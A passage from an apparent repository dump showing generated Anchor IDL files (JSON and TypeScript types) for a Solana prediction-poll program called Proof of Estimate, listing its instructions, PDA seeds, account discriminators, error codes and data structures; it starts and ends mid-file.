},\n        {\n          \"name\": \"token_program\",\n          \"address\": \"TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA\"\n        },\n        {\n          \"name\": \"associated_token_program\",\n          \"address\": \"ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL\"\n        },\n        {\n          \"name\": \"system_program\",\n          \"address\": \"11111111111111111111111111111111\"\n        }\n      ],\n      \"args\": []\n    },\n    {\n      \"name\": \"remove_estimate\",\n      \"discriminator\": [\n        123,\n        41,\n        255,\n        206,\n        43,\n        234,\n        150,\n        38\n      ],\n      \"accounts\": [\n        {\n          \"name\": \"forecaster\",\n          \"writable\": true,\n          \"signer\": true\n        },\n        {\n          \"name\": \"user\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  117,\n                  115,\n                  101,\n                  114\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"forecaster\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"poll\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  108,\n                  108\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll.id\",\n                \"account\": \"Poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"user_estimate\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"forecaster\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"estimate_update\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  108,\n                  108,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101,\n                  95,\n                  117,\n                  112,\n                  100,\n                  97,\n                  116,\n                  101\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll.num_estimate_updates\",\n                \"account\": \"Poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"scoring_list\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"user_score\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  115,\n                  99,\n                  111,\n                  114,\n                  101\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"forecaster\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"system_program\",\n          \"address\": \"11111111111111111111111111111111\"\n        }\n      ],\n      \"args\": []\n    },\n    {\n      \"name\": \"resolve_poll\",\n      \"discriminator\": [\n        130,\n        62,\n        235,\n        12,\n        76,\n        239,\n        17,\n        61\n      ],\n      \"accounts\": [\n        {\n          \"name\": \"resolver\",\n          \"writable\": true,\n          \"signer\": true,\n          \"relations\": [\n            \"poll\"\n          ]\n        },\n        {\n          \"name\": \"poll\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  108,\n                  108\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll.id\",\n                \"account\": \"Poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"scoring_list\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"system_program\",\n          \"address\": \"11111111111111111111111111111111\"\n        }\n      ],\n      \"args\": [\n        {\n          \"name\": \"result\",\n          \"type\": \"bool\"\n        }\n      ]\n    },\n    {\n      \"name\": \"start_poll\",\n      \"discriminator\": [\n        59,\n        188,\n        204,\n        28,\n        129,\n        88,\n        202,\n        242\n      ],\n      \"accounts\": [\n        {\n          \"name\": \"creator\",\n          \"writable\": true,\n          \"signer\": true,\n          \"relations\": [\n            \"poll\"\n          ]\n        },\n        {\n          \"name\": \"poll\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  108,\n                  108\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll.id\",\n                \"account\": \"Poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"scoring_list\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"system_program\",\n          \"address\": \"11111111111111111111111111111111\"\n        }\n      ],\n      \"args\": []\n    },\n    {\n      \"name\": \"update_estimate\",\n      \"discriminator\": [\n        16,\n        66,\n        42,\n        145,\n        179,\n        218,\n        133,\n        181\n      ],\n      \"accounts\": [\n        {\n          \"name\": \"forecaster\",\n          \"writable\": true,\n          \"signer\": true\n        },\n        {\n          \"name\": \"poll\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  108,\n                  108\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll.id\",\n                \"account\": \"Poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"user_estimate\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"forecaster\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"user_estimate_update\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101,\n                  95,\n                  117,\n                  112,\n                  100,\n                  97,\n                  116,\n                  101\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"forecaster\"\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"user_estimate.num_estimate_updates\",\n                \"account\": \"UserEstimate\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"estimate_update\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  112,\n                  111,\n                  108,\n                  108,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101,\n                  95,\n                  117,\n                  112,\n                  100,\n                  97,\n                  116,\n                  101\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll.num_estimate_updates\",\n                \"account\": \"Poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"scoring_list\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"user_score\",\n          \"writable\": true,\n          \"pda\": {\n            \"seeds\": [\n              {\n                \"kind\": \"const\",\n                \"value\": [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  115,\n                  99,\n                  111,\n                  114,\n                  101\n                ]\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"poll\"\n              },\n              {\n                \"kind\": \"account\",\n                \"path\": \"forecaster\"\n              }\n            ]\n          }\n        },\n        {\n          \"name\": \"system_program\",\n          \"address\": \"11111111111111111111111111111111\"\n        }\n      ],\n      \"args\": [\n        {\n          \"name\": \"new_lower_estimate\",\n          \"type\": \"u16\"\n        },\n        {\n          \"name\": \"new_upper_estimate\",\n          \"type\": \"u16\"\n        }\n      ]\n    }\n  ],\n  \"accounts\": [\n    {\n      \"name\": \"PoeState\",\n      \"discriminator\": [\n        56,\n        89,\n        110,\n        49,\n        245,\n        252,\n        16,\n        20\n      ]\n    },\n    {\n      \"name\": \"Poll\",\n      \"discriminator\": [\n        110,\n        234,\n        167,\n        188,\n        231,\n        136,\n        153,\n        111\n      ]\n    },\n    {\n      \"name\": \"PollEstimateUpdate\",\n      \"discriminator\": [\n        140,\n        170,\n        34,\n        23,\n        150,\n        213,\n        62,\n        18\n      ]\n    },\n    {\n      \"name\": \"ScoringList\",\n      \"discriminator\": [\n        200,\n        108,\n        113,\n        50,\n        15,\n        45,\n        206,\n        81\n      ]\n    },\n    {\n      \"name\": \"User\",\n      \"discriminator\": [\n        159,\n        117,\n        95,\n        227,\n        239,\n        151,\n        58,\n        236\n      ]\n    },\n    {\n      \"name\": \"UserEstimate\",\n      \"discriminator\": [\n        4,\n        202,\n        200,\n        189,\n        121,\n        204,\n        147,\n        101\n      ]\n    },\n    {\n      \"name\": \"UserEstimateUpdate\",\n      \"discriminator\": [\n        231,\n        183,\n        179,\n        64,\n        195,\n        152,\n        147,\n        122\n      ]\n    },\n    {\n      \"name\": \"UserScore\",\n      \"discriminator\": [\n        212,\n        150,\n        123,\n        224,\n        34,\n        227,\n        84,\n        39\n      ]\n    }\n  ],\n  \"errors\": [\n    {\n      \"code\": 6000,\n      \"name\": \"PollAlreadyStarted\",\n      \"msg\": \"Poll has already started.\"\n    },\n    {\n      \"code\": 6001,\n      \"name\": \"PollClosed\",\n      \"msg\": \"Poll is closed.\"\n    },\n    {\n      \"code\": 6002,\n      \"name\": \"PollNotResolved\",\n      \"msg\": \"Poll has not been resolved.\"\n    },\n    {\n      \"code\": 6003,\n      \"name\": \"PollAlreadyResolved\",\n      \"msg\": \"Poll has already been resolved.\"\n    }\n  ],\n  \"types\": [\n    {\n      \"name\": \"PoeState\",\n      \"type\": {\n        \"kind\": \"struct\",\n        \"fields\": [\n          {\n            \"name\": \"authority\",\n            \"type\": \"pubkey\"\n          },\n          {\n            \"name\": \"num_polls\",\n            \"type\": \"u64\"\n          },\n          {\n            \"name\": \"score\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"recalibration_factor\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"bump\",\n            \"type\": \"u8\"\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"Poll\",\n      \"type\": {\n        \"kind\": \"struct\",\n        \"fields\": [\n          {\n            \"name\": \"creator\",\n            \"type\": \"pubkey\"\n          },\n          {\n            \"name\": \"resolver\",\n            \"type\": \"pubkey\"\n          },\n          {\n            \"name\": \"id\",\n            \"type\": \"u64\"\n          },\n          {\n            \"name\": \"category\",\n            \"type\": \"u16\"\n          },\n          {\n            \"name\": \"has_started\",\n            \"type\": \"bool\"\n          },\n          {\n            \"name\": \"betting_amount\",\n            \"type\": \"u64\"\n          },\n          {\n            \"name\": \"start_slot\",\n            \"type\": \"u64\"\n          },\n          {\n            \"name\": \"end_slot\",\n            \"type\": {\n              \"option\": \"u64\"\n            }\n          },\n          {\n            \"name\": \"decay_rate\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"collective_estimate\",\n            \"type\": {\n              \"option\": \"u32\"\n            }\n          },\n          {\n            \"name\": \"variance\",\n            \"type\": {\n              \"option\": \"f32\"\n            }\n          },\n          {\n            \"name\": \"ln_gm_a\",\n            \"type\": {\n              \"option\": \"f32\"\n            }\n          },\n          {\n            \"name\": \"ln_gm_b\",\n            \"type\": {\n              \"option\": \"f32\"\n            }\n          },\n          {\n            \"name\": \"num_forecasters\",\n            \"type\": \"u64\"\n          },\n          {\n            \"name\": \"num_estimate_updates\",\n            \"type\": \"u64\"\n          },\n          {\n            \"name\": \"accumulated_weights\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"accumulated_weights_squared\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"result\",\n            \"type\": {\n              \"option\": \"bool\"\n            }\n          },\n          {\n            \"name\": \"question\",\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"description\",\n            \"type\": \"string\"\n          },\n          {\n            \"name\": \"bump\",\n            \"type\": \"u8\"\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"PollEstimateUpdate\",\n      \"type\": {\n        \"kind\": \"struct\",\n        \"fields\": [\n          {\n            \"name\": \"poll\",\n            \"type\": \"pubkey\"\n          },\n          {\n            \"name\": \"slot\",\n            \"type\": \"u64\"\n          },\n          {\n            \"name\": \"timestamp\",\n            \"type\": \"i64\"\n          },\n          {\n            \"name\": \"estimate\",\n            \"type\": {\n              \"option\": \"u32\"\n            }\n          },\n          {\n            \"name\": \"variance\",\n            \"type\": {\n              \"option\": \"f32\"\n            }\n          },\n          {\n            \"name\": \"bump\",\n            \"type\": \"u8\"\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"ScoringList\",\n      \"serialization\": \"bytemuck\",\n      \"repr\": {\n        \"kind\": \"c\"\n      },\n      \"type\": {\n        \"kind\": \"struct\",\n        \"fields\": [\n          {\n            \"name\": \"options\",\n            \"type\": {\n              \"array\": [\n                \"f32\",\n                128\n              ]\n            }\n          },\n          {\n            \"name\": \"cost\",\n            \"type\": {\n              \"array\": [\n                \"f32\",\n                128\n              ]\n            }\n          },\n          {\n            \"name\": \"peer_score_a\",\n            \"type\": {\n              \"array\": [\n                \"f32\",\n                128\n              ]\n            }\n          },\n          {\n            \"name\": \"peer_score_b\",\n            \"type\": {\n              \"array\": [\n                \"f32\",\n                128\n              ]\n            }\n          },\n          {\n            \"name\": \"last_slot\",\n            \"type\": \"u64\"\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"User\",\n      \"type\": {\n        \"kind\": \"struct\",\n        \"fields\": [\n          {\n            \"name\": \"user_address\",\n            \"type\": \"pubkey\"\n          },\n          {\n            \"name\": \"score\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"participation_count\",\n            \"type\": \"u32\"\n          },\n          {\n            \"name\": \"correct_answers_count\",\n            \"type\": \"u32\"\n          },\n          {\n            \"name\": \"bump\",\n            \"type\": \"u8\"\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"UserEstimate\",\n      \"type\": {\n        \"kind\": \"struct\",\n        \"fields\": [\n          {\n            \"name\": \"forecaster\",\n            \"type\": \"pubkey\"\n          },\n          {\n            \"name\": \"poll\",\n            \"type\": \"pubkey\"\n          },\n          {\n            \"name\": \"lower_estimate\",\n            \"type\": \"u16\"\n          },\n          {\n            \"name\": \"upper_estimate\",\n            \"type\": \"u16\"\n          },\n          {\n            \"name\": \"score_weight\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"recency_weight\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"num_forecasters\",\n            \"type\": \"u64\"\n          },\n          {\n            \"name\": \"num_estimate_updates\",\n            \"type\": \"u64\"\n          },\n          {\n            \"name\": \"reputation_score\",\n            \"type\": {\n              \"option\": \"f32\"\n            }\n          },\n          {\n            \"name\": \"payout_score\",\n            \"type\": {\n              \"option\": \"f32\"\n            }\n          },\n          {\n            \"name\": \"bump\",\n            \"type\": \"u8\"\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"UserEstimateUpdate\",\n      \"type\": {\n        \"kind\": \"struct\",\n        \"fields\": [\n          {\n            \"name\": \"poll\",\n            \"type\": \"pubkey\"\n          },\n          {\n            \"name\": \"user\",\n            \"type\": \"pubkey\"\n          },\n          {\n            \"name\": \"slot\",\n            \"type\": \"u64\"\n          },\n          {\n            \"name\": \"timestamp\",\n            \"type\": \"i64\"\n          },\n          {\n            \"name\": \"lower_estimate\",\n            \"type\": \"u16\"\n          },\n          {\n            \"name\": \"upper_estimate\",\n            \"type\": \"u16\"\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"UserScore\",\n      \"type\": {\n        \"kind\": \"struct\",\n        \"fields\": [\n          {\n            \"name\": \"forecaster\",\n            \"type\": \"pubkey\"\n          },\n          {\n            \"name\": \"poll\",\n            \"type\": \"pubkey\"\n          },\n          {\n            \"name\": \"options\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"last_lower_option\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"last_upper_option\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"cost\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"last_lower_cost\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"last_upper_cost\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"last_peer_score_a\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"last_peer_score_b\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"ln_a\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"ln_b\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"peer_score_a\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"peer_score_b\",\n            \"type\": \"f32\"\n          },\n          {\n            \"name\": \"last_slot\",\n            \"type\": \"u64\"\n          },\n          {\n            \"name\": \"bump\",\n            \"type\": \"u8\"\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "idl/poe.ts",
    "content": "/**\n * Program IDL in camelCase format in order to be used in JS/TS.\n *\n * Note that this is only a type helper and is not the actual IDL. The original\n * IDL can be found at `target/idl/poe.json`.\n */\nexport type Poe = {\n  address: \"ACyH6Avm4uYen8WWyTU4chExQqpF4gCHy5MmtqtpWomk\";\n  metadata: {\n    name: \"poe\";\n    version: \"0.1.0\";\n    spec: \"0.1.0\";\n    description: \"Proof of Estimate - Prediction Poll\";\n  };\n  instructions: [\n    {\n      name: \"addMetadata\";\n      discriminator: [231, 195, 40, 240, 67, 231, 53, 136];\n      accounts: [\n        {\n          name: \"payer\";\n          writable: true;\n          signer: true;\n        },\n        {\n          name: \"auth\";\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [97, 117, 116, 104];\n              }\n            ];\n          };\n        },\n        {\n          name: \"mint\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];\n              }\n            ];\n          };\n        },\n        {\n          name: \"tokenProgram\";\n          address: \"TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA\";\n        },\n        {\n          name: \"metadata\";\n          writable: true;\n        },\n        {\n          name: \"tokenMetadataProgram\";\n        },\n        {\n          name: \"systemProgram\";\n          address: \"11111111111111111111111111111111\";\n        },\n        {\n          name: \"rent\";\n          address: \"SysvarRent111111111111111111111111111111111\";\n        }\n      ];\n      args: [\n        {\n          name: \"uri\";\n          type: \"string\";\n        },\n        {\n          name: \"name\";\n          type: \"string\";\n        },\n        {\n          name: \"symbol\";\n          type: \"string\";\n        }\n      ];\n    },\n    {\n      name: \"collectPoints\";\n      discriminator: [221, 8, 237, 153, 212, 171, 156, 131];\n      accounts: [\n        {\n          name: \"payer\";\n          writable: true;\n          signer: true;\n        },\n        {\n          name: \"forecaster\";\n        },\n        {\n          name: \"user\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [117, 115, 101, 114];\n              },\n              {\n                kind: \"account\";\n                path: \"forecaster\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"poll\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 108, 108];\n              },\n              {\n                kind: \"account\";\n                path: \"poll.id\";\n                account: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"userEstimate\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              },\n              {\n                kind: \"account\";\n                path: \"forecaster\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"scoringList\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"userScore\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [117, 115, 101, 114, 95, 115, 99, 111, 114, 101];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              },\n              {\n                kind: \"account\";\n                path: \"forecaster\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"auth\";\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [97, 117, 116, 104];\n              }\n            ];\n          };\n        },\n        {\n          name: \"mint\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];\n              }\n            ];\n          };\n        },\n        {\n          name: \"escrowAccount\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [101, 115, 99, 114, 111, 119];\n              }\n            ];\n          };\n        },\n        {\n          name: \"forecasterTokenAccount\";\n          writable: true;\n        },\n        {\n          name: \"tokenProgram\";\n          address: \"TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA\";\n        },\n        {\n          name: \"associatedTokenProgram\";\n          address: \"ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL\";\n        },\n        {\n          name: \"systemProgram\";\n          address: \"11111111111111111111111111111111\";\n        }\n      ];\n      args: [];\n    },\n    {\n      name: \"createPoll\";\n      discriminator: [182, 171, 112, 238, 6, 219, 14, 110];\n      accounts: [\n        {\n          name: \"creator\";\n          writable: true;\n          signer: true;\n        },\n        {\n          name: \"resolver\";\n        },\n        {\n          name: \"state\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 101, 95, 115, 116, 97, 116, 101];\n              }\n            ];\n          };\n        },\n        {\n          name: \"poll\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 108, 108];\n              },\n              {\n                kind: \"account\";\n                path: \"state.num_polls\";\n                account: \"poeState\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"scoringList\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"systemProgram\";\n          address: \"11111111111111111111111111111111\";\n        }\n      ];\n      args: [\n        {\n          name: \"question\";\n          type: \"string\";\n        },\n        {\n          name: \"description\";\n          type: \"string\";\n        },\n        {\n          name: \"category\";\n          type: \"u16\";\n        },\n        {\n          name: \"decay\";\n          type: \"f32\";\n        }\n      ];\n    },\n    {\n      name: \"initialize\";\n      discriminator: [175, 175, 109, 31, 13, 152, 155, 237];\n      accounts: [\n        {\n          name: \"payer\";\n          writable: true;\n          signer: true;\n        },\n        {\n          name: \"state\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 101, 95, 115, 116, 97, 116, 101];\n              }\n            ];\n          };\n        },\n        {\n          name: \"auth\";\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [97, 117, 116, 104];\n              }\n            ];\n          };\n        },\n        {\n          name: \"mint\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];\n              }\n            ];\n          };\n        },\n        {\n          name: \"escrowAccount\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [101, 115, 99, 114, 111, 119];\n              }\n            ];\n          };\n        },\n        {\n          name: \"tokenProgram\";\n          address: \"TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA\";\n        },\n        {\n          name: \"systemProgram\";\n          address: \"11111111111111111111111111111111\";\n        }\n      ];\n      args: [];\n    },\n    {\n      name: \"makeEstimate\";\n      discriminator: [169, 43, 178, 59, 233, 178, 74, 199];\n      accounts: [\n        {\n          name: \"forecaster\";\n          writable: true;\n          signer: true;\n        },\n        {\n          name: \"user\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [117, 115, 101, 114];\n              },\n              {\n                kind: \"account\";\n                path: \"forecaster\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"poll\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 108, 108];\n              },\n              {\n                kind: \"account\";\n                path: \"poll.id\";\n                account: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"userEstimate\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  117,\n                  115,\n                  101,\n                  114,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              },\n              {\n                kind: \"account\";\n                path: \"forecaster\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"pollEstimateUpdate\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  112,\n                  111,\n                  108,\n                  108,\n                  95,\n                  101,\n                  115,\n                  116,\n                  105,\n                  109,\n                  97,\n                  116,\n                  101,\n                  95,\n                  117,\n                  112,\n                  100,\n                  97,\n                  116,\n                  101\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              },\n              {\n                kind: \"account\";\n                path: \"poll.num_estimate_updates\";\n                account: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"scoringList\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [\n                  115,\n                  99,\n                  111,\n                  114,\n                  105,\n                  110,\n                  103,\n                  95,\n                  108,\n                  105,\n                  115,\n                  116\n                ];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"userScore\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [117, 115, 101, 114, 95, 115, 99, 111, 114, 101];\n              },\n              {\n                kind: \"account\";\n                path: \"poll\";\n              },\n              {\n                kind: \"account\";\n                path: \"forecaster\";\n              }\n            ];\n          };\n        },\n        {\n          name: \"forecasterTokenAccount\";\n          writable: true;\n        },\n        {\n          name: \"mint\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];\n              }\n            ];\n          };\n        },\n        {\n          name: \"auth\";\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [97, 117, 116, 104];\n              }\n            ];\n          };\n        },\n        {\n          name: \"escrowAccount\";\n          writable: true;\n          pda: {\n            seeds: [\n              {\n                kind: \"const\";\n                value: [101, 115, 99, 114, 111, 119];\n              }\n            ];\n          };\n        },\n        {\n          name: \"tokenProgram\";\n          address: \"TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA\";\n        },\n        {\n          name: \"associatedTokenProgram\";\n          address: \"ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL\";\n        },\n        {\n          name: \"systemProgram\";\n          address: \"11111111111111111111111111111111\";\n        }\n      ];\n      args: [\n        {\n          name: \"lowerEstimate\";\n          type: \"u16\";\n        },\n        {\n          name: \"upperEstimate\";\n          type: \"u16\";\n        }\n      ];\n    },\n    {\n      name: \"registerUser\";\n      discriminator: [2, 241, 150, 223, 99, 214, 116, 97];\n      accounts: [\n        {\n          name: 